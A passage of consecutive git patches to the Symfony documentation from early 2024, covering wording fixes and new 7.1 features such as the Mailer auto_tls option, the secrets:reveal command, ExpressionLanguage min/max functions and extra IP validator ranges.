-Optionally, you can also `install Symfony CLI`_. This creates a binary called
-``symfony`` that provides all the tools you need to develop and run your
-Symfony application locally.
+.. _setup-symfony-cli:
+
+Also, `install the Symfony CLI`_. This is optional, but it gives you a
+helpful binary called ``symfony`` that provides all tools you need to
+develop and run your Symfony application locally.
 
 The ``symfony`` binary also provides a tool to check if your computer meets all
 requirements. Open your console terminal and run this command:
@@ -53,8 +55,8 @@ application:
     $ symfony new my_project_directory --version=5.4
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--webapp`` option installs all the packages that you
-usually need to build web applications, so the installation size will be bigger.
+installed by default. The ``--webapp`` option installs extra packages to give
+you everything you need to build a web application.
 
 If you're not using the Symfony binary, run these commands to create the new
 Symfony application using Composer:
@@ -227,8 +229,8 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-The ``symfony`` binary created when you `install Symfony CLI`_ provides a command
-to check whether your project's dependencies contain any known security
+The ``symfony`` binary created when you installed the :ref:`Symfony CLI <setup-symfony-cli>`
+provides a command to check whether your project's dependencies contain any known security
 vulnerability:
 
 .. code-block:: terminal
@@ -312,7 +314,7 @@ Learn More
 
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
-.. _`install Symfony CLI`: https://symfony.com/download
+.. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex

From 076079d278620da1c90b35a8b31ca87dbb2d71f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 28 Jan 2024 21:27:23 +0100
Subject: [PATCH 4393/5766] [Frontend] Adding info about comments

---
 frontend.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index b27c0c7fb88..6817222f270 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -34,6 +34,8 @@ Supports `Stimulus/UX`_           yes                                 yes
 Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
+Removes comments from JavaScript  no                                  yes
+Removes comments from CSS         no                                  no :ref:`[2] <ux-note-2>`
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 
@@ -44,6 +46,10 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _ux-note-2:
+
+**[2]** There are plugins available to remove comments from CSS files.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From a4025177f8803fcdf8765093bc161247942ed142 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jan 2024 17:32:40 +0100
Subject: [PATCH 4394/5766] Minor tweak

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 6817222f270..f250825fcb4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -48,7 +48,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are plugins available to remove comments from CSS files.
+**[2]** There are some PostCSS plugins available to remove comments from CSS files.
 
 .. _frontend-asset-mapper:
 

From ead19d00068fc1a6f22431cf3e71bc452dbc4248 Mon Sep 17 00:00:00 2001
From: Radoslaw Kowalewski <git@srsbiz.pl>
Date: Tue, 30 Jan 2024 20:36:30 +0100
Subject: [PATCH 4395/5766] [Mailer][Smtp] Document 'auto_tls' param

---
 mailer.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 07f341cf508..cf17a55a6e2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -347,6 +347,30 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
+Disabling automatic TLS
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    Disabling automatic TLS was introduced in Symfony 7.1.
+
+By default, mailer will check if OpenSSL extension is enabled and if SMTP server
+is capable of STARTTLS, it will issue this command to enable encryption on stream.
+This behavior can be turned off by calling ``setAutoTls(false)`` on ``EsmtpTransport``
+instance, or by setting ``auto_tls`` option in DSN::
+
+    $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
+
+.. caution::
+
+    It's not recommended to disable TLS while connecting to SMTP server over
+    internet, but it can be useful when both application and SMTP server are in
+    secured network, where there is no need for additional encryption.
+
+.. note::
+
+    This setting works only when ``smtp://`` protocol is used.
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 883e3a90d9d5f2af4ad51194308295cdf41ad769 Mon Sep 17 00:00:00 2001
From: Exalyon <Exalyon@users.noreply.github.com>
Date: Tue, 30 Jan 2024 20:48:09 +0100
Subject: [PATCH 4396/5766] Update service_decoration.rst

Fix code example to have attribute above property declaration
---
 service_container/service_decoration.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 8a9ac1322f2..2f561b4c444 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -301,7 +301,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated]
+                    private $inner,
                 ) {
                 }
                 // ...
@@ -311,7 +312,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             class Baz
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated]
+                    private $inner,
                 ) {
                 }
 

From 1fe0c4e8e0e96d94f41bb3d701a5362b9e573f32 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Jan 2024 23:41:31 +0100
Subject: [PATCH 4397/5766] [AssetMapper] Fixing path

If the section starts with the pagerfanta CSS, it should use it throughout... :-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 7e745f0cb8e..acb94fdb7b7 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -875,7 +875,7 @@ file:
         asset_mapper:
             paths:
                 - assets/
-                - vendor/some/package/assets
+                - vendor/babdev/pagerfanta-bundle/Resources/public/css/
 
 Then try the command again.
 

From c34a612a3ed938ffd8aae847507221504a199366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Jan 2024 10:13:25 +0100
Subject: [PATCH 4398/5766] Minor tweak

---
 mailer.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cf17a55a6e2..8f48bd355fa 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -347,29 +347,29 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
-Disabling automatic TLS
+Disabling Automatic TLS
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 7.1
 
-    Disabling automatic TLS was introduced in Symfony 7.1.
+    The option to disable automatic TLS was introduced in Symfony 7.1.
 
-By default, mailer will check if OpenSSL extension is enabled and if SMTP server
-is capable of STARTTLS, it will issue this command to enable encryption on stream.
-This behavior can be turned off by calling ``setAutoTls(false)`` on ``EsmtpTransport``
-instance, or by setting ``auto_tls`` option in DSN::
+By default, the Mailer component will use encryption when the OpenSSL extension
+is enabled and the SMTP server supports ``STARTTLS``. This behavior can be turned
+off by calling ``setAutoTls(false)`` on the ``EsmtpTransport`` instance, or by
+setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
 .. caution::
 
-    It's not recommended to disable TLS while connecting to SMTP server over
-    internet, but it can be useful when both application and SMTP server are in
-    secured network, where there is no need for additional encryption.
+    It's not recommended to disable TLS while connecting to an SMTP server over
+    the Internet, but it can be useful when both the application and the SMTP
+    server are in a secured network, where there is no need for additional encryption.
 
 .. note::
 
-    This setting works only when ``smtp://`` protocol is used.
+    This setting only works when the ``smtp://`` protocol is used.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b97c890d7703fec20735aacd3c7d4c2dc1fc1193 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 31 Jan 2024 22:44:02 +0100
Subject: [PATCH 4399/5766] [Frontend] Some smaller updates

* **Please move this page out of the `/encore/` structure!** This is general info that also applies to *any* JavaScript.
* I removed jQuery cause I think it shouldn't be advertised anymore today.
---
 frontend/encore/server-data.rst | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 46492700923..3feff856c52 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -1,9 +1,9 @@
-Passing Information from Twig to JavaScript with Webpack Encore
-===============================================================
+Passing Information from Twig to JavaScript
+===========================================
 
 In Symfony applications, you may find that you need to pass some dynamic data
 (e.g. user information) from Twig to your JavaScript code. One great way to pass
-dynamic configuration is by storing information in ``data`` attributes and reading
+dynamic configuration is by storing information in ``data-*`` attributes and reading
 them later in JavaScript. For example:
 
 .. code-block:: html+twig
@@ -20,22 +20,18 @@ Fetch this in JavaScript:
 .. code-block:: javascript
 
     document.addEventListener('DOMContentLoaded', function() {
-        var userRating = document.querySelector('.js-user-rating');
-        var isAuthenticated = userRating.dataset.isAuthenticated;
-        var user = JSON.parse(userRating.dataset.user);
-
-        // or with jQuery
-        //var isAuthenticated = $('.js-user-rating').data('isAuthenticated');
+        const userRating = document.querySelector('.js-user-rating');
+        const isAuthenticated = userRating.dataset.isAuthenticated;
+        const user = JSON.parse(userRating.dataset.user);
     });
 
 .. note::
 
     When `accessing data attributes from JavaScript`_, the attribute names are
-    converted from dash-style to camelCase. For example, ``data-is-authenticated``
-    becomes ``isAuthenticated`` and ``data-number-of-reviews`` becomes
-    ``numberOfReviews``.
+    converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes
+    ``dataset.numberOfReviews``.
 
-There is no size limit for the value of the ``data-`` attributes, so you can
+There is no size limit for the value of the ``data-*`` attributes, so you can
 store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
 with HTML attributes. For example, if your ``User`` object has some ``getProfileData()``
 method that returns an array, you could do the following:

From 7e70c6689091e4fd5b4f0f2830c09462b4616bd0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 1 Feb 2024 17:47:44 +0100
Subject: [PATCH 4400/5766] [Frontend] Adding link to PostCSS

---
 frontend.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index f250825fcb4..5e5be0fb35a 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -48,7 +48,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are some PostCSS plugins available to remove comments from CSS files.
+**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
 
 .. _frontend-asset-mapper:
 
@@ -115,3 +115,4 @@ Other Front-End Articles
 .. _Turbo: https://turbo.hotwired.dev/
 .. _Symfony UX: https://ux.symfony.com
 .. _API Platform: https://api-platform.com/
+.. _PostCSS: https://postcss.org/

From b197c64d85bca794f38c7b78bfa6cbb45577967f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 1 Feb 2024 20:25:37 +0100
Subject: [PATCH 4401/5766] [AssetMapper] Clarifying `importmap_polyfill`

Info and some wording is taken from https://github.com/symfony/symfony/issues/53726#issuecomment-1922008240
---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index acb94fdb7b7..fa2050561d8 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -959,15 +959,16 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN. You can pass the key of an item in ``importmap.php`` or ``false`` to disable
-the polyfill loading.
+via a CDN (i.e. the default value for this setting is `es-module-shims`).
+To use a custom polyfill, pass the key of an item in ``importmap.php``.
+To disable the polyfill, pass ``false``.
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
             importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'my_import_map' # ... or pass an importmap name
+            # importmap_polyfill: 'custom_polyfill' # ... or pass a key in your importmap.php file
 
 .. tip::
 

From afc9f16c2dc5c019e6312b7341e0589b98df663f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Feb 2024 09:10:50 +0100
Subject: [PATCH 4402/5766] Minor tweak

---
 frontend.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 5e5be0fb35a..15fc5994aba 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -109,10 +109,10 @@ Other Front-End Articles
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
-.. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
-.. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
-.. _Stimulus: https://stimulus.hotwired.dev/
-.. _Turbo: https://turbo.hotwired.dev/
-.. _Symfony UX: https://ux.symfony.com
-.. _API Platform: https://api-platform.com/
-.. _PostCSS: https://postcss.org/
+.. _`StimulusBundle Documentation`: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _`Stimulus/UX`: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`Symfony UX`: https://ux.symfony.com
+.. _`API Platform`: https://api-platform.com/
+.. _`PostCSS`: https://postcss.org/

From fdd2362d117f5496ab1f2e1c076d2fcb1bccf0d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Feb 2024 09:14:36 +0100
Subject: [PATCH 4403/5766] Reword

---
 frontend/asset_mapper.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index fa2050561d8..0a94b17bbc3 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -959,16 +959,19 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN (i.e. the default value for this setting is `es-module-shims`).
-To use a custom polyfill, pass the key of an item in ``importmap.php``.
-To disable the polyfill, pass ``false``.
+via a CDN (i.e. the default value for this setting is `es-module-shims`):
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
-            importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'custom_polyfill' # ... or pass a key in your importmap.php file
+            # set this option to false to disable the shim entirely
+            # (your website/web app won't work in old browsers)
+            importmap_polyfill: false
+
+            # you can also use a custom polyfill by adding it to your importmap.php file
+            # and setting this option to the key of that file in the importmap.php file
+            # importmap_polyfill: 'custom_polyfill'
 
 .. tip::
 

From 3b6a7a5e87231adf43c1b735e5494671b871f577 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 2 Feb 2024 21:48:11 +0100
Subject: [PATCH 4404/5766] [Security] Minor rewording

"may create" sounds like "you're free to create..."
---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index cb09bddae91..ce61a92389e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -302,7 +302,7 @@ is set to ``true``) when they try to access a protected resource but aren't
 fully authenticated.
 
 This path **must** be accessible by a normal, unauthenticated user, else
-you may create a redirect loop.
+you might create a redirect loop.
 
 check_path
 ..........

From 5495c1d47846e784ad0f5e7066d39d4db1385798 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 3 Feb 2024 14:59:16 +0100
Subject: [PATCH 4405/5766] [Serializer] Document DateTimeNormalizer::CAST_KEY
 context option

---
 components/serializer.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index dce30b8932b..0dbd223877d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -820,8 +820,14 @@ The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
     This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings.
-    By default, it uses the `RFC3339`_ format.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
+    integers or floats. By default, it converts them to strings using the `RFC3339`_ format.
+    To convert the objects to integers or floats, set the serializer context option
+    ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
+
+.. versionadded:: 7.1
+
+    ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From 7edd5d171de559b4fa471a961c3a8b5e6143978c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 20:45:39 +0100
Subject: [PATCH 4406/5766] [ExpressionLanguage] Add min and max php functions

---
 reference/formats/expression_language.rst | 28 +++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6c9b1bffe42..9a3e78ef485 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -120,6 +120,8 @@ following functions by default:
 
 * ``constant()``
 * ``enum()``
+* ``min()``
+* ``max()``
 
 ``constant()`` function
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -167,6 +169,32 @@ This function will return the case of an enumeration::
 
 This will print out ``true``.
 
+``min()`` function
+~~~~~~~~~~~~~~~~~~
+
+This function will return the lowest value::
+
+    var_dump($expressionLanguage->evaluate(
+        'min(1, 2, 3)'
+    ));
+
+This will print out ``1``.
+
+``max()`` function
+~~~~~~~~~~~~~~~~~~
+
+This function will return the highest value::
+
+    var_dump($expressionLanguage->evaluate(
+        'max(1, 2, 3)'
+    ));
+
+This will print out ``3``.
+
+.. versionadded:: 7.1
+
+    The ``min()`` and ``max()`` functions were introduced in Symfony 7.1.
+
 .. tip::
 
     To read how to register your own functions to use in an expression, see

From ff7350028574a6585ff666f884b9fa882437f855 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 20:52:37 +0100
Subject: [PATCH 4407/5766] [Mailer][Webhook] Mailersend webhook remote event

---
 webhook.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index e423a55e524..0e975860055 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -20,20 +20,21 @@ receive webhook calls from this provider.
 
 Currently, the following third-party mailer providers support webhooks:
 
-============== ==========================================
+============== ============================================
 Mailer Service Parser service name
-============== ==========================================
+============== ============================================
 Brevo          ``mailer.webhook.request_parser.brevo``
+MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
-============== ==========================================
+============== ============================================
 
 .. versionadded:: 7.1
 
-    The support for Resend was introduced in Symfony 7.1.
+    The support for ``Resend`` and ``MailerSend`` were introduced in Symfony 7.1.
 
 .. note::
 

From 22ad2d951a2e899f89fe5af4f8078f2de5b2e466 Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Sat, 3 Feb 2024 14:26:00 +0100
Subject: [PATCH 4408/5766] Document `secrets:reveal` command

---
 configuration/secrets.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 653bd92f611..089f7da2892 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -166,6 +166,22 @@ secrets' values by passing the ``--reveal`` option:
       DATABASE_PASSWORD   "my secret"
      ------------------- ------------ -------------
 
+Reveal Existing Secrets
+-----------------------
+
+If you have the **decryption key**, the ``secrets:reveal`` command allows
+you to reveal a single secrets value.
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:reveal DATABASE_PASSWORD
+
+     my secret
+
+.. versionadded:: 7.1
+
+    The ``secrets:reveal`` command was introduced in Symfony 7.1.
+
 Remove Secrets
 --------------
 

From d22ad24c30b338244566646729cfbaf58bfbb80e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 21:33:12 +0100
Subject: [PATCH 4409/5766] [Validator] Add additional versions (*_NO_PUBLIC,
 *_ONLY_PRIV & *_ONLY_RES) in IP address & CIDR constraint

---
 reference/constraints/Cidr.rst |  8 ++++----
 reference/constraints/Ip.rst   | 34 ++++++++++++++++++++++++++++++++++
 2 files changed, 38 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index d7bc9e6b4a0..24abeb57338 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -124,10 +124,10 @@ Parameter        Description
 **type**: ``string`` **default**: ``all``
 
 This determines exactly *how* the CIDR notation is validated and can take one
-of these values:
+of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
-* ``4``: validates for CIDR notations that have an IPv4;
-* ``6``: validates for CIDR notations that have an IPv6;
-* ``all``: validates all CIDR formats.
+.. versionadded:: 7.1
+
+    The support of all IP version ranges was introduced in Symfony 7.1.
 
 .. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 2f05f677601..9168d463f77 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -97,6 +97,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+.. _reference-constraint-ip-version:
+
 ``version``
 ~~~~~~~~~~~
 
@@ -132,6 +134,33 @@ of a variety of different values:
 ``all_no_res``
     Validates for all IP formats but without reserved IP ranges
 
+**No public ranges**
+
+``4_no_public``
+    Validates for IPv4 but without public IP ranges
+``6_no_public``
+    Validates for IPv6 but without public IP ranges
+``all_no_public``
+    Validates for all IP formats but without public IP range
+
+**Only private ranges**
+
+``4_private``
+    Validates for IPv4 but without public and reserved ranges
+``6_private``
+    Validates for IPv6 but without public and reserved ranges
+``all_private``
+    Validates for all IP formats but without public and reserved ranges
+
+**Only reserved ranges**
+
+``4_reserved``
+    Validates for IPv4 but without private and public ranges
+``6_reserved``
+    Validates for IPv6 but without private and public ranges
+``all_reserved``
+    Validates for all IP formats but without private and public ranges
+
 **Only public ranges**
 
 ``4_public``
@@ -140,3 +169,8 @@ of a variety of different values:
     Validates for IPv6 but without private and reserved ranges
 ``all_public``
     Validates for all IP formats but without private and reserved ranges
+
+.. versionadded:: 7.1
+
+    The ``*_no_public``, ``*_reserved`` and ``*_public`` ranges were introduced
+    in Symfony 7.1.

From f332fd8d41065fabaac8c3d50349822f36f19b5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier@mbp.local>
Date: Mon, 5 Feb 2024 08:21:51 +0100
Subject: [PATCH 4410/5766] Fix a minor syntax issue

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0dbd223877d..31c44216505 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -825,9 +825,9 @@ The Serializer component provides several built-in normalizers:
     To convert the objects to integers or floats, set the serializer context option
     ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
 
-.. versionadded:: 7.1
+    .. versionadded:: 7.1
 
-    ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+        ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From 9388de664c185bec41a978ed1c18e4b71ac9cec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier@mbp.local>
Date: Mon, 5 Feb 2024 08:39:20 +0100
Subject: [PATCH 4411/5766] [ExpressionLanguage] Add more information about the
 min/max functions

---
 reference/formats/expression_language.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 9a3e78ef485..7daa4c98957 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -172,7 +172,10 @@ This will print out ``true``.
 ``min()`` function
 ~~~~~~~~~~~~~~~~~~
 
-This function will return the lowest value::
+This function will return the lowest value of the given parameters. You can pass
+different types of parameters (e.g. dates, strings, numeric values) and even mix
+them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`min`
+PHP function to find the lowest value::
 
     var_dump($expressionLanguage->evaluate(
         'min(1, 2, 3)'
@@ -183,7 +186,10 @@ This will print out ``1``.
 ``max()`` function
 ~~~~~~~~~~~~~~~~~~
 
-This function will return the highest value::
+This function will return the highest value of the given parameters. You can pass
+different types of parameters (e.g. dates, strings, numeric values) and even mix
+them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`max`
+PHP function to find the highest value::
 
     var_dump($expressionLanguage->evaluate(
         'max(1, 2, 3)'

From 7a4abe3c1504ad3581a8bf35407d5b25ca0e1efc Mon Sep 17 00:00:00 2001
From: Nils Silbernagel <6422477+N-Silbernagel@users.noreply.github.com>
Date: Mon, 5 Feb 2024 08:48:53 +0100
Subject: [PATCH 4412/5766] Add return to non-symfony VarDumper::setHandler

Fix error in code for setting VarDumpServer in non-symfony applications
---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b336ad1d3e..e7c10a3287f 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -170,7 +170,7 @@ Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Du
     ]);
 
     VarDumper::setHandler(function (mixed $var) use ($cloner, $dumper): ?string {
-        $dumper->dump($cloner->cloneVar($var));
+        return $dumper->dump($cloner->cloneVar($var));
     });
 
 .. note::

From 015aed4d2bc7ba2bdc2a1be47cc51a6041e21f6f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 5 Feb 2024 08:49:05 +0100
Subject: [PATCH 4413/5766] fix typo

---
 configuration/secrets.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 089f7da2892..f717456a22c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -170,7 +170,7 @@ Reveal Existing Secrets
 -----------------------
 
 If you have the **decryption key**, the ``secrets:reveal`` command allows
-you to reveal a single secrets value.
+you to reveal a single secret's value.
 
 .. code-block:: terminal
 

From 17b273749d326ca45e385d296c036d4b402ab305 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 5 Feb 2024 08:50:11 +0100
Subject: [PATCH 4414/5766] fix typo

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 31c44216505..eab0e616c23 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -827,7 +827,7 @@ The Serializer component provides several built-in normalizers:
 
     .. versionadded:: 7.1
 
-        ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From cfbdd7ab1873008b3d211853b0c8f04589e1d0d6 Mon Sep 17 00:00:00 2001
